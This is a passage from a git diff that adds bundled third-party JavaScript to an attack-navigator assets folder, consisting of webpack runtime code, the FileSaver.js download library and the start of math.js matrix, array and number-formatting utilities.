{ +/******/ "runtime": 0 +/******/ }; +/******/ +/******/ var deferredModules = []; +/******/ +/******/ // The require function +/******/ function __webpack_require__(moduleId) { +/******/ +/******/ // Check if module is in cache +/******/ if(installedModules[moduleId]) { +/******/ return installedModules[moduleId].exports; +/******/ } +/******/ // Create a new module (and put it into the cache) +/******/ var module = installedModules[moduleId] = { +/******/ i: moduleId, +/******/ l: false, +/******/ exports: {} +/******/ }; +/******/ +/******/ // Execute the module function +/******/ modules[moduleId].call(module.exports, module, module.exports, __webpack_require__); +/******/ +/******/ // Flag the module as loaded +/******/ module.l = true; +/******/ +/******/ // Return the exports of the module +/******/ return module.exports; +/******/ } +/******/ +/******/ +/******/ // expose the modules object (__webpack_modules__) +/******/ __webpack_require__.m = modules; +/******/ +/******/ // expose the module cache +/******/ __webpack_require__.c = installedModules; +/******/ +/******/ // define getter function for harmony exports +/******/ __webpack_require__.d = function(exports, name, getter) { +/******/ if(!__webpack_require__.o(exports, name)) { +/******/ Object.defineProperty(exports, name, { enumerable: true, get: getter }); +/******/ } +/******/ }; +/******/ +/******/ // define __esModule on exports +/******/ __webpack_require__.r = function(exports) { +/******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) { +/******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' }); +/******/ } +/******/ Object.defineProperty(exports, '__esModule', { value: true }); +/******/ }; +/******/ +/******/ // create a fake namespace object +/******/ // mode & 1: value is a module id, require it +/******/ // mode & 2: merge all properties of value into the ns +/******/ // mode & 4: return value when already ns object +/******/ // mode & 8|1: behave like require +/******/ __webpack_require__.t = function(value, mode) { +/******/ if(mode & 1) value = __webpack_require__(value); +/******/ if(mode & 8) return value; +/******/ if((mode & 4) && typeof value === 'object' && value && value.__esModule) return value; +/******/ var ns = Object.create(null); +/******/ __webpack_require__.r(ns); +/******/ Object.defineProperty(ns, 'default', { enumerable: true, value: value }); +/******/ if(mode & 2 && typeof value != 'string') for(var key in value) __webpack_require__.d(ns, key, function(key) { return value[key]; }.bind(null, key)); +/******/ return ns; +/******/ }; +/******/ +/******/ // getDefaultExport function for compatibility with non-harmony modules +/******/ __webpack_require__.n = function(module) { +/******/ var getter = module && module.__esModule ? +/******/ function getDefault() { return module['default']; } : +/******/ function getModuleExports() { return module; }; +/******/ __webpack_require__.d(getter, 'a', getter); +/******/ return getter; +/******/ }; +/******/ +/******/ // Object.prototype.hasOwnProperty.call +/******/ __webpack_require__.o = function(object, property) { return Object.prototype.hasOwnProperty.call(object, property); }; +/******/ +/******/ // __webpack_public_path__ +/******/ __webpack_require__.p = ""; +/******/ +/******/ var jsonpArray = window["webpackJsonp"] = window["webpackJsonp"] || []; +/******/ var oldJsonpFunction = jsonpArray.push.bind(jsonpArray); +/******/ jsonpArray.push = webpackJsonpCallback; +/******/ jsonpArray = jsonpArray.slice(); +/******/ for(var i = 0; i < jsonpArray.length; i++) webpackJsonpCallback(jsonpArray[i]); +/******/ var parentJsonpFunction = oldJsonpFunction; +/******/ +/******/ +/******/ // run deferred modules from other chunks +/******/ checkDeferredModules(); +/******/ }) +/************************************************************************/ +/******/ ([]); +//# sourceMappingURL=runtime.js.map \ No newline at end of file diff --git a/public/assets/attack-navigator/scripts.js b/public/assets/attack-navigator/scripts.js new file mode 100644 index 0000000..7d5511c --- /dev/null +++ b/public/assets/attack-navigator/scripts.js @@ -0,0 +1,88832 @@ +(function (global, factory) { + if (typeof define === "function" && define.amd) { + define([], factory); + } else if (typeof exports !== "undefined") { + factory(); + } else { + var mod = { + exports: {} + }; + factory(); + global.FileSaver = mod.exports; + } +})(this, function () { + "use strict"; + + /* + * FileSaver.js + * A saveAs() FileSaver implementation. + * + * By Eli Grey, http://eligrey.com + * + * License : https://github.com/eligrey/FileSaver.js/blob/master/LICENSE.md (MIT) + * source : http://purl.eligrey.com/github/FileSaver.js + */ + // The one and only way of getting global scope in all environments + // https://stackoverflow.com/q/3277182/1008999 + var _global = typeof window === 'object' && window.window === window ? window : typeof self === 'object' && self.self === self ? self : typeof global === 'object' && global.global === global ? global : void 0; + + function bom(blob, opts) { + if (typeof opts === 'undefined') opts = { + autoBom: false + };else if (typeof opts !== 'object') { + console.warn('Deprecated: Expected third argument to be a object'); + opts = { + autoBom: !opts + }; + } // prepend BOM for UTF-8 XML and text/* types (including HTML) + // note: your browser will automatically convert UTF-16 U+FEFF to EF BB BF + + if (opts.autoBom && /^\s*(?:text\/\S*|application\/xml|\S*\/\S*\+xml)\s*;.*charset\s*=\s*utf-8/i.test(blob.type)) { + return new Blob([String.fromCharCode(0xFEFF), blob], { + type: blob.type + }); + } + + return blob; + } + + function download(url, name, opts) { + var xhr = new XMLHttpRequest(); + xhr.open('GET', url); + xhr.responseType = 'blob'; + + xhr.onload = function () { + saveAs(xhr.response, name, opts); + }; + + xhr.onerror = function () { + console.error('could not download file'); + }; + + xhr.send(); + } + + function corsEnabled(url) { + var xhr = new XMLHttpRequest(); // use sync to avoid popup blocker + + xhr.open('HEAD', url, false); + + try { + xhr.send(); + } catch (e) {} + + return xhr.status >= 200 && xhr.status <= 299; + } // `a.click()` doesn't work for all browsers (#465) + + + function click(node) { + try { + node.dispatchEvent(new MouseEvent('click')); + } catch (e) { + var evt = document.createEvent('MouseEvents'); + evt.initMouseEvent('click', true, true, window, 0, 0, 0, 80, 20, false, false, false, false, 0, null); + node.dispatchEvent(evt); + } + } + + var saveAs = _global.saveAs || ( // probably in some web worker + typeof window !== 'object' || window !== _global ? function saveAs() {} + /* noop */ + // Use download attribute first if possible (#193 Lumia mobile) + : 'download' in HTMLAnchorElement.prototype ? function saveAs(blob, name, opts) { + var URL = _global.URL || _global.webkitURL; + var a = document.createElement('a'); + name = name || blob.name || 'download'; + a.download = name; + a.rel = 'noopener'; // tabnabbing + // TODO: detect chrome extensions & packaged apps + // a.target = '_blank' + + if (typeof blob === 'string') { + // Support regular links + a.href = blob; + + if (a.origin !== location.origin) { + corsEnabled(a.href) ? download(blob, name, opts) : click(a, a.target = '_blank'); + } else { + click(a); + } + } else { + // Support blobs + a.href = URL.createObjectURL(blob); + setTimeout(function () { + URL.revokeObjectURL(a.href); + }, 4E4); // 40s + + setTimeout(function () { + click(a); + }, 0); + } + } // Use msSaveOrOpenBlob as a second approach + : 'msSaveOrOpenBlob' in navigator ? function saveAs(blob, name, opts) { + name = name || blob.name || 'download'; + + if (typeof blob === 'string') { + if (corsEnabled(blob)) { + download(blob, name, opts); + } else { + var a = document.createElement('a'); + a.href = blob; + a.target = '_blank'; + setTimeout(function () { + click(a); + }); + } + } else { + navigator.msSaveOrOpenBlob(bom(blob, opts), name); + } + } // Fallback to using FileReader and a popup + : function saveAs(blob, name, opts, popup) { + // Open a popup immediately do go around popup blocker + // Mostly only available on user interaction and the fileReader is async so... + popup = popup || open('', '_blank'); + + if (popup) { + popup.document.title = popup.document.body.innerText = 'downloading...'; + } + + if (typeof blob === 'string') return download(blob, name, opts); + var force = blob.type === 'application/octet-stream'; + + var isSafari = /constructor/i.test(_global.HTMLElement) || _global.safari; + + var isChromeIOS = /CriOS\/[\d]+/.test(navigator.userAgent); + + if ((isChromeIOS || force && isSafari) && typeof FileReader === 'object') { + // Safari doesn't allow downloading of blob URLs + var reader = new FileReader(); + + reader.onloadend = function () { + var url = reader.result; + url = isChromeIOS ? url : url.replace(/^data:[^;]*;/, 'data:attachment/file;'); + if (popup) popup.location.href = url;else location = url; + popup = null; // reverse-tabnabbing #460 + }; + + reader.readAsDataURL(blob); + } else { + var URL = _global.URL || _global.webkitURL; + var url = URL.createObjectURL(blob); + if (popup) popup.location = url;else location.href = url; + popup = null; // reverse-tabnabbing #460 + + setTimeout(function () { + URL.revokeObjectURL(url); + }, 4E4); // 40s + } + }); + _global.saveAs = saveAs.saveAs = saveAs; + + if (typeof module !== 'undefined') { + module.exports = saveAs; + } +}); + +;/** + * math.js + * https://github.com/josdejong/mathjs + * + * Math.js is an extensive math library for JavaScript and Node.js, + * It features real and complex numbers, units, matrices, a large set of + * mathematical functions, and a flexible expression parser. + * + * @version 5.10.3 + * @date 2019-05-18 + * + * @license + * Copyright (C) 2013-2019 Jos de Jong + * + * Licensed under the Apache License, Version 2.0 (the "License"); you may not + * use this file except in compliance with the License. You may obtain a copy + * of the License at + * + * https://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT + * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the + * License for the specific language governing permissions and limitations under + * the License. + */ + +(function webpackUniversalModuleDefinition(root, factory) { + if(typeof exports === 'object' && typeof module === 'object') + module.exports = factory(); + else if(typeof define === 'function' && define.amd) + define([], factory); + else if(typeof exports === 'object') + exports["math"] = factory(); + else + root["math"] = factory(); +})(this, function() { +return /******/ (function(modules) { // webpackBootstrap +/******/ // The module cache +/******/ var installedModules = {}; +/******/ +/******/ // The require function +/******/ function __webpack_require__(moduleId) { +/******/ +/******/ // Check if module is in cache +/******/ if(installedModules[moduleId]) { +/******/ return installedModules[moduleId].exports; +/******/ } +/******/ // Create a new module (and put it into the cache) +/******/ var module = installedModules[moduleId] = { +/******/ i: moduleId, +/******/ l: false, +/******/ exports: {} +/******/ }; +/******/ +/******/ // Execute the module function +/******/ modules[moduleId].call(module.exports, module, module.exports, __webpack_require__); +/******/ +/******/ // Flag the module as loaded +/******/ module.l = true; +/******/ +/******/ // Return the exports of the module +/******/ return module.exports; +/******/ } +/******/ +/******/ +/******/ // expose the modules object (__webpack_modules__) +/******/ __webpack_require__.m = modules; +/******/ +/******/ // expose the module cache +/******/ __webpack_require__.c = installedModules; +/******/ +/******/ // define getter function for harmony exports +/******/ __webpack_require__.d = function(exports, name, getter) { +/******/ if(!__webpack_require__.o(exports, name)) { +/******/ Object.defineProperty(exports, name, { enumerable: true, get: getter }); +/******/ } +/******/ }; +/******/ +/******/ // define __esModule on exports +/******/ __webpack_require__.r = function(exports) { +/******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) { +/******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' }); +/******/ } +/******/ Object.defineProperty(exports, '__esModule', { value: true }); +/******/ }; +/******/ +/******/ // create a fake namespace object +/******/ // mode & 1: value is a module id, require it +/******/ // mode & 2: merge all properties of value into the ns +/******/ // mode & 4: return value when already ns object +/******/ // mode & 8|1: behave like require +/******/ __webpack_require__.t = function(value, mode) { +/******/ if(mode & 1) value = __webpack_require__(value); +/******/ if(mode & 8) return value; +/******/ if((mode & 4) && typeof value === 'object' && value && value.__esModule) return value; +/******/ var ns = Object.create(null); +/******/ __webpack_require__.r(ns); +/******/ Object.defineProperty(ns, 'default', { enumerable: true, value: value }); +/******/ if(mode & 2 && typeof value != 'string') for(var key in value) __webpack_require__.d(ns, key, function(key) { return value[key]; }.bind(null, key)); +/******/ return ns; +/******/ }; +/******/ +/******/ // getDefaultExport function for compatibility with non-harmony modules +/******/ __webpack_require__.n = function(module) { +/******/ var getter = module && module.__esModule ? +/******/ function getDefault() { return module['default']; } : +/******/ function getModuleExports() { return module; }; +/******/ __webpack_require__.d(getter, 'a', getter); +/******/ return getter; +/******/ }; +/******/ +/******/ // Object.prototype.hasOwnProperty.call +/******/ __webpack_require__.o = function(object, property) { return Object.prototype.hasOwnProperty.call(object, property); }; +/******/ +/******/ // __webpack_public_path__ +/******/ __webpack_require__.p = ""; +/******/ +/******/ +/******/ // Load entry module and return exports +/******/ return __webpack_require__(__webpack_require__.s = 161); +/******/ }) +/************************************************************************/ +/******/ ([ +/* 0 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + /** + * Create a Matrix. The function creates a new `math.type.Matrix` object from + * an `Array`. A Matrix has utility functions to manipulate the data in the + * matrix, like getting the size and getting or setting values in the matrix. + * Supported storage formats are 'dense' and 'sparse'. + * + * Syntax: + * + * math.matrix() // creates an empty matrix using default storage format (dense). + * math.matrix(data) // creates a matrix with initial data using default storage format (dense). + * math.matrix('dense') // creates an empty matrix using the given storage format. + * math.matrix(data, 'dense') // creates a matrix with initial data using the given storage format. + * math.matrix(data, 'sparse') // creates a sparse matrix with initial data. + * math.matrix(data, 'sparse', 'number') // creates a sparse matrix with initial data, number data type. + * + * Examples: + * + * let m = math.matrix([[1, 2], [3, 4]]) + * m.size() // Array [2, 2] + * m.resize([3, 2], 5) + * m.valueOf() // Array [[1, 2], [3, 4], [5, 5]] + * m.get([1, 0]) // number 3 + * + * See also: + * + * bignumber, boolean, complex, index, number, string, unit, sparse + * + * @param {Array | Matrix} [data] A multi dimensional array + * @param {string} [format] The Matrix storage format + * + * @return {Matrix} The created matrix + */ + var matrix = typed('matrix', { + '': function _() { + return _create([]); + }, + 'string': function string(format) { + return _create([], format); + }, + 'string, string': function stringString(format, datatype) { + return _create([], format, datatype); + }, + 'Array': function Array(data) { + return _create(data); + }, + 'Matrix': function Matrix(data) { + return _create(data, data.storage()); + }, + 'Array | Matrix, string': _create, + 'Array | Matrix, string, string': _create + }); + matrix.toTex = { + 0: '\\begin{bmatrix}\\end{bmatrix}', + 1: "\\left(${args[0]}\\right)", + 2: "\\left(${args[0]}\\right)" + }; + return matrix; + /** + * Create a new Matrix with given storage format + * @param {Array} data + * @param {string} [format] + * @param {string} [datatype] + * @returns {Matrix} Returns a new Matrix + * @private + */ + + function _create(data, format, datatype) { + // get storage format constructor + var M = type.Matrix.storage(format || 'default'); // create instance + + return new M(data, datatype); + } +} + +exports.name = 'matrix'; +exports.factory = factory; + +/***/ }), +/* 1 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +/** + * Execute the callback function element wise for each element in array and any + * nested array + * Returns an array with the results + * @param {Array | Matrix} array + * @param {Function} callback The callback is called with two parameters: + * value1 and value2, which contain the current + * element of both arrays. + * @param {boolean} [skipZeros] Invoke callback function for non-zero values only. + * + * @return {Array | Matrix} res + */ + +module.exports = function deepMap(array, callback, skipZeros) { + if (array && typeof array.map === 'function') { + // TODO: replace array.map with a for loop to improve performance + return array.map(function (x) { + return deepMap(x, callback, skipZeros); + }); + } else { + return callback(array); + } +}; + +/***/ }), +/* 2 */ +/***/ (function(module, __webpack_exports__, __webpack_require__) { + +"use strict"; +__webpack_require__.r(__webpack_exports__); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "size", function() { return size; }); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "validate", function() { return validate; }); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "validateIndex", function() { return validateIndex; }); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "resize", function() { return resize; }); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "reshape", function() { return reshape; }); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "squeeze", function() { return squeeze; }); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "unsqueeze", function() { return unsqueeze; }); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "flatten", function() { return flatten; }); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "map", function() { return map; }); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "forEach", function() { return forEach; }); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "filter", function() { return filter; }); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "filterRegExp", function() { return filterRegExp; }); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "join", function() { return join; }); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "identify", function() { return identify; }); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "generalize", function() { return generalize; }); +/* harmony import */ var _number__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(3); +/* harmony import */ var _number__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_number__WEBPACK_IMPORTED_MODULE_0__); +/* harmony import */ var _string__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(9); +/* harmony import */ var _string__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_string__WEBPACK_IMPORTED_MODULE_1__); +/* harmony import */ var _error_DimensionError__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(8); +/* harmony import */ var _error_DimensionError__WEBPACK_IMPORTED_MODULE_2___default = /*#__PURE__*/__webpack_require__.n(_error_DimensionError__WEBPACK_IMPORTED_MODULE_2__); +/* harmony import */ var _error_IndexError__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(48); +/* harmony import */ var _error_IndexError__WEBPACK_IMPORTED_MODULE_3___default = /*#__PURE__*/__webpack_require__.n(_error_IndexError__WEBPACK_IMPORTED_MODULE_3__); + + + + + + +/** + * Calculate the size of a multi dimensional array. + * This function checks the size of the first entry, it does not validate + * whether all dimensions match. (use function `validate` for that) + * @param {Array} x + * @Return {Number[]} size + */ + +function size(x) { + var s = []; + + while (Array.isArray(x)) { + s.push(x.length); + x = x[0]; + } + + return s; +} +/** + * Recursively validate whether each element in a multi dimensional array + * has a size corresponding to the provided size array. + * @param {Array} array Array to be validated + * @param {number[]} size Array with the size of each dimension + * @param {number} dim Current dimension + * @throws DimensionError + * @private + */ + +function _validate(array, size, dim) { + var i; + var len = array.length; + + if (len !== size[dim]) { + throw new _error_DimensionError__WEBPACK_IMPORTED_MODULE_2___default.a(len, size[dim]); + } + + if (dim < size.length - 1) { + // recursively validate each child array + var dimNext = dim + 1; + + for (i = 0; i < len; i++) { + var child = array[i]; + + if (!Array.isArray(child)) { + throw new _error_DimensionError__WEBPACK_IMPORTED_MODULE_2___default.a(size.length - 1, size.length, '<'); + } + + _validate(array[i], size, dimNext); + } + } else { + // last dimension. none of the childs may be an array + for (i = 0; i < len; i++) { + if (Array.isArray(array[i])) { + throw new _error_DimensionError__WEBPACK_IMPORTED_MODULE_2___default.a(size.length + 1, size.length, '>'); + } + } + } +} +/** + * Validate whether each element in a multi dimensional array has + * a size corresponding to the provided size array. + * @param {Array} array Array to be validated + * @param {number[]} size Array with the size of each dimension + * @throws DimensionError + */ + + +function validate(array, size) { + var isScalar = size.length === 0; + + if (isScalar) { + // scalar + if (Array.isArray(array)) { + throw new _error_DimensionError__WEBPACK_IMPORTED_MODULE_2___default.a(array.length, 0); + } + } else { + // array + _validate(array, size, 0); + } +} +/** + * Test whether index is an integer number with index >= 0 and index < length + * when length is provided + * @param {number} index Zero-based index + * @param {number} [length] Length of the array + */ + +function validateIndex(index, length) { + if (!_number__WEBPACK_IMPORTED_MODULE_0___default.a.isNumber(index) || !_number__WEBPACK_IMPORTED_MODULE_0___default.a.isInteger(index)) { + throw new TypeError('Index must be an integer (value: ' + index + ')'); + } + + if (index < 0 || typeof length === 'number' && index >= length) { + throw new _error_IndexError__WEBPACK_IMPORTED_MODULE_3___default.a(index, length); + } +} +/** + * Resize a multi dimensional array. The resized array is returned. + * @param {Array} array Array to be resized + * @param {Array.} size Array with the size of each dimension + * @param {*} [defaultValue=0] Value to be filled in in new entries, + * zero by default. Specify for example `null`, + * to clearly see entries that are not explicitly + * set. + * @return {Array} array The resized array + */ + +function resize(array, size, defaultValue) { + // TODO: add support for scalars, having size=[] ? + // check the type of the arguments + if (!Array.isArray(array) || !Array.isArray(size)) { + throw new TypeError('Array expected'); + } + + if (size.length === 0) { + throw new Error('Resizing to scalar is not supported'); + } // check whether size contains positive integers + + + size.forEach(function (value) { + if (!_number__WEBPACK_IMPORTED_MODULE_0___default.a.isNumber(value) || !_number__WEBPACK_IMPORTED_MODULE_0___default.a.isInteger(value) || value < 0) { + throw new TypeError('Invalid size, must contain positive integers ' + '(size: ' + _string__WEBPACK_IMPORTED_MODULE_1___default.a.format(size) + ')'); + } + }); // recursively resize the array + + var _defaultValue = defaultValue !== undefined ? defaultValue : 0; + + _resize(array, size, 0, _defaultValue); + + return array; +} +/** + * Recursively resize a multi dimensional array + * @param {Array} array Array to be resized + * @param {number[]} size Array with the size of each dimension + * @param {number} dim Current dimension + * @param {*} [defaultValue] Value to be filled in in new entries, + * undefined by default. + * @private + */ + +function _resize(array, size, dim, defaultValue) { + var i; + var elem; + var oldLen = array.length; + var newLen = size[dim]; + var minLen = Math.min(oldLen, newLen); // apply new length + + array.length = newLen; + + if (dim < size.length - 1) { + // non-last dimension + var dimNext = dim + 1; // resize existing child arrays + + for (i = 0; i < minLen; i++) { + // resize child array + elem = array[i]; + + if (!Array.isArray(elem)) { + elem = [elem]; // add a dimension + + array[i] = elem; + } + + _resize(elem, size, dimNext, defaultValue); + } // create new child arrays + + + for (i = minLen; i < newLen; i++) { + // get child array + elem = []; + array[i] = elem; // resize new child array + + _resize(elem, size, dimNext, defaultValue); + } + } else { + // last dimension + // remove dimensions of existing values + for (i = 0; i < minLen; i++) { + while (Array.isArray(array[i])) { + array[i] = array[i][0]; + } + } // fill new elements with the default value + + + for (i = minLen; i < newLen; i++) { + array[i] = defaultValue; + } + } +} +/** + * Re-shape a multi dimensional array to fit the specified dimensions + * @param {Array} array Array to be reshaped + * @param {Array.} sizes List of sizes for each dimension + * @returns {Array} Array whose data has been formatted to fit the + * specified dimensions + * + * @throws {DimensionError} If the product of the new dimension sizes does + * not equal that of the old ones + */ + + +function reshape(array, sizes) { + var flatArray = flatten(array); + var newArray; + + function product(arr) { + return arr.reduce(function (prev, curr) { + return prev * curr; + }); + } + + if (!Array.isArray(array) || !Array.isArray(sizes)) { + throw new TypeError('Array expected'); + } + + if (sizes.length === 0) { + throw new _error_DimensionError__WEBPACK_IMPORTED_MODULE_2___default.a(0, product(size(array)), '!='); + } + + var totalSize = 1; + + for (var sizeIndex = 0; sizeIndex < sizes.length; sizeIndex++) { + totalSize *= sizes[sizeIndex]; + } + + if (flatArray.length !== totalSize) { + throw new _error_DimensionError__WEBPACK_IMPORTED_MODULE_2___default.a(product(sizes), product(size(array)), '!='); + } + + try { + newArray = _reshape(flatArray, sizes); + } catch (e) { + if (e instanceof _error_DimensionError__WEBPACK_IMPORTED_MODULE_2___default.a) { + throw new _error_DimensionError__WEBPACK_IMPORTED_MODULE_2___default.a(product(sizes), product(size(array)), '!='); + } + + throw e; + } + + return newArray; +} +/** + * Iteratively re-shape a multi dimensional array to fit the specified dimensions + * @param {Array} array Array to be reshaped + * @param {Array.} sizes List of sizes for each dimension + * @returns {Array} Array whose data has been formatted to fit the + * specified dimensions + */ + +function _reshape(array, sizes) { + // testing if there are enough elements for the requested shape + var tmpArray = array; + var tmpArray2; // for each dimensions starting by the last one and ignoring the first one + + for (var sizeIndex = sizes.length - 1; sizeIndex > 0; sizeIndex--) { + var size = sizes[sizeIndex]; + tmpArray2 = []; // aggregate the elements of the current tmpArray in elements of the requested size + + var length = tmpArray.length / size; + + for (var i = 0; i < length; i++) { + tmpArray2.push(tmpArray.slice(i * size, (i + 1) * size)); + } // set it as the new tmpArray for the next loop turn or for return + + + tmpArray = tmpArray2; + } + + return tmpArray; +} +/** + * Squeeze a multi dimensional array + * @param {Array} array + * @param {Array} [arraySize] + * @returns {Array} returns the array itself + */ + + +function squeeze(array, arraySize) { + var s = arraySize || size(array); // squeeze outer dimensions + + while (Array.isArray(array) && array.length === 1) { + array = array[0]; + s.shift(); + } // find the first dimension to be squeezed + + + var dims = s.length; + + while (s[dims - 1] === 1) { + dims--; + } // squeeze inner dimensions + + + if (dims < s.length) { + array = _squeeze(array, dims, 0); + s.length = dims; + } + + return array; +} +/** + * Recursively squeeze a multi dimensional array + * @param {Array} array + * @param {number} dims Required number of dimensions + * @param {number} dim Current dimension + * @returns {Array | *} Returns the squeezed array + * @private + */ + +function _squeeze(array, dims, dim) { + var i, ii; + + if (dim < dims) { + var next = dim + 1; + + for (i = 0, ii = array.length; i < ii; i++) { + array[i] = _squeeze(array[i], dims, next); + } + } else { + while (Array.isArray(array)) { + array = array[0]; + } + } + + return array; +} +/** + * Unsqueeze a multi dimensional array: add dimensions when missing + * + * Paramter `size` will be mutated to match the new, unqueezed matrix size. + * + * @param {Array} array + * @param {number} dims Desired number of dimensions of the array + * @param {number} [outer] Number of outer dimensions to be added + * @param {Array} [arraySize] Current size of array. + * @returns {Array} returns the array itself + * @private + */ + + +function unsqueeze(array, dims, outer, arraySize) { + var s = arraySize || size(array); // unsqueeze outer dimensions + + if (outer) { + for (var i = 0; i < outer; i++) { + array = [array]; + s.unshift(1); + } + } // unsqueeze inner dimensions + + + array = _unsqueeze(array, dims, 0); + + while (s.length < dims) { + s.push(1); + } + + return array; +} +/** + * Recursively unsqueeze a multi dimensional array + * @param {Array} array + * @param {number} dims Required number of dimensions + * @param {number} dim Current dimension + * @returns {Array | *} Returns the squeezed array + * @private + */ + +function _unsqueeze(array, dims, dim) { + var i, ii; + + if (Array.isArray(array)) { + var next = dim + 1; + + for (i = 0, ii = array.length; i < ii; i++) { + array[i] = _unsqueeze(array[i], dims, next); + } + } else { + for (var d = dim; d < dims; d++) { + array = [array]; + } + } + + return array; +} +/** + * Flatten a multi dimensional array, put all elements in a one dimensional + * array + * @param {Array} array A multi dimensional array + * @return {Array} The flattened array (1 dimensional) + */ + + +function flatten(array) { + if (!Array.isArray(array)) { + // if not an array, return as is + return array; + } + + var flat = []; + array.forEach(function callback(value) { + if (Array.isArray(value)) { + value.forEach(callback); // traverse through sub-arrays recursively + } else { + flat.push(value); + } + }); + return flat; +} +/** + * A safe map + * @param {Array} array + * @param {function} callback + */ + +function map(array, callback) { + return Array.prototype.map.call(array, callback); +} +/** + * A safe forEach + * @param {Array} array + * @param {function} callback + */ + +function forEach(array, callback) { + Array.prototype.forEach.call(array, callback); +} +/** + * A safe filter + * @param {Array} array + * @param {function} callback + */ + +function filter(array, callback) { + if (size(array).length !== 1) { + throw new Error('Only one dimensional matrices supported'); + } + + return Array.prototype.filter.call(array, callback); +} +/** + * Filter values in a callback given a regular expression + * @param {Array} array + * @param {RegExp} regexp + * @return {Array} Returns the filtered array + * @private + */ + +function filterRegExp(array, regexp) { + if (size(array).length !== 1) { + throw new Error('Only one dimensional matrices supported'); + } + + return Array.prototype.filter.call(array, function (entry) { + return regexp.test(entry); + }); +} +/** + * A safe join + * @param {Array} array + * @param {string} separator + */ + +function join(array, separator) { + return Array.prototype.join.call(array, separator); +} +/** + * Assign a numeric identifier to every element of a sorted array + * @param {Array} a An array + * @return {Array} An array of objects containing the original value and its identifier + */ + +function identify(a) { + if (!Array.isArray(a)) { + throw new TypeError('Array input expected'); + } + + if (a.length === 0) { + return a; + } + + var b = []; + var count = 0; + b[0] = { + value: a[0], + identifier: 0 + }; + + for (var i = 1; i < a.length; i++) { + if (a[i] === a[i - 1]) { + count++; + } else { + count = 0; + } + + b.push({ + value: a[i], + identifier: count + }); + } + + return b; +} +/** + * Remove the numeric identifier from the elements + * @param {array} a An array + * @return {array} An array of values without identifiers + */ + +function generalize(a) { + if (!Array.isArray(a)) { + throw new TypeError('Array input expected'); + } + + if (a.length === 0) { + return a; + } + + var b = []; + + for (var i = 0; i < a.length; i++) { + b.push(a[i].value); + } + + return b; +} + +/***/ }), +/* 3 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var objectUtils = __webpack_require__(5); +/** + * @typedef {{sign: '+' | '-' | '', coefficients: number[], exponent: number}} SplitValue + */ + +/** + * Test whether value is a number + * @param {*} value + * @return {boolean} isNumber + */ + + +exports.isNumber = function (value) { + return typeof value === 'number'; +}; +/** + * Check if a number is integer + * @param {number | boolean} value + * @return {boolean} isInteger + */ + + +exports.isInteger = function (value) { + if (typeof value === 'boolean') { + return true; + } + + return isFinite(value) ? value === Math.round(value) : false; // Note: we use ==, not ===, as we can have Booleans as well +}; +/** + * Calculate the sign of a number + * @param {number} x + * @returns {*} + */ + + +exports.sign = Math.sign || function (x) { + if (x > 0) { + return 1; + } else if (x < 0) { + return -1; + } else { + return 0; + } +}; +/** + * Convert a number to a formatted string representation. + * + * Syntax: + * + * format(value) + * format(value, options) + * format(value, precision) + * format(value, fn) + * + * Where: + * + * {number} value The value to be formatted + * {Object} options An object with formatting options. Available options: + * {string} notation + * Number notation. Choose from: + * 'fixed' Always use regular number notation. + * For example '123.40' and '14000000' + * 'exponential' Always use exponential notation. + * For example '1.234e+2' and '1.4e+7' + * 'engineering' Always use engineering notation. + * For example '123.4e+0' and '14.0e+6' + * 'auto' (default) Regular number notation for numbers + * having an absolute value between + * `lowerExp` and `upperExp` bounds, and + * uses exponential notation elsewhere. + * Lower bound is included, upper bound + * is excluded. + * For example '123.4' and '1.4e7'. + * {number} precision A number between 0 and 16 to round + * the digits of the number. + * In case of notations 'exponential', + * 'engineering', and 'auto', + * `precision` defines the total + * number of significant digits returned. + * In case of notation 'fixed', + * `precision` defines the number of + * significant digits after the decimal + * point. + * `precision` is undefined by default, + * not rounding any digits. + * {number} lowerExp Exponent determining the lower boundary + * for formatting a value with an exponent + * when `notation='auto`. + * Default value is `-3`. + * {number} upperExp Exponent determining the upper boundary + * for formatting a value with an exponent + * when `notation='auto`. + * Default value is `5`. + * {Function} fn A custom formatting function. Can be used to override the + * built-in notations. Function `fn` is called with `value` as + * parameter and must return a string. Is useful for example to + * format all values inside a matrix in a particular way. + * + * Examples: + * + * format(6.4) // '6.4' + * format(1240000) // '1.24e6' + * format(1/3) // '0.3333333333333333' + * format(1/3, 3) // '0.333' + * format(21385, 2) // '21000' + * format(12.071, {notation: 'fixed'}) // '12' + * format(2.3, {notation: 'fixed', precision: 2}) // '2.30' + * format(52.8, {notation: 'exponential'}) // '5.28e+1' + * format(12345678, {notation: 'engineering'}) // '12.345678e+6' + * + * @param {number} value + * @param {Object | Function | number} [options] + * @return {string} str The formatted value + */ + + +exports.format = function (value, options) { + if 